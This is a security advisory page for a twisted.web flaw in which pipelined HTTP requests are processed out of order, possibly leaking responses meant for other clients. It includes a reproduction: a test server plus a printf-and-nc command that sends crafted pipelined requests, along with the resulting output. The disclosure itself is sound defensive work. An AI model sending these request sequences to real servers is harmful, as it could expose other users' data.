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PYSEC-2026-1992

HighCVSS 8.3 / 10
Published Jul 7, 2026·Last modified Jul 7, 2026
Affected Components(0)

No affected components available

Description

Summary

The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.

PoC

  1. Start a fresh Debian container:
docker run --workdir /repro --rm -it debian:bookworm-slim
  1. Install twisted and its dependencies:
apt -y update && apt -y install ncat git python3 python3-pip \
    && git clone --recurse-submodules https://github.com/twisted/twisted \
    && cd twisted \
    && pip3 install --break-system-packages .
  1. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:
from twisted.web import server, resource
from twisted.internet import reactor

class TheResource(resource.Resource):
    isLeaf = True

    def render_GET(self, request) -> bytes:
        return b"GET"

    def render_POST(self, request) -> bytes:
        return b"POST"

site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()
  1. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:
(printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80
  1. Observe that the responses arrive out of order:
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Content-Type: text/html

POST
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 4
Content-Type: text/html

GET
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 5
Content-Type: text/html

POST

Impact

See GHSA-xc8x-vp79-p3wm. Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.

Risk Scores
Base Score
8.3

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.

Threat Intelligence
7.6

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.86%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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High severity
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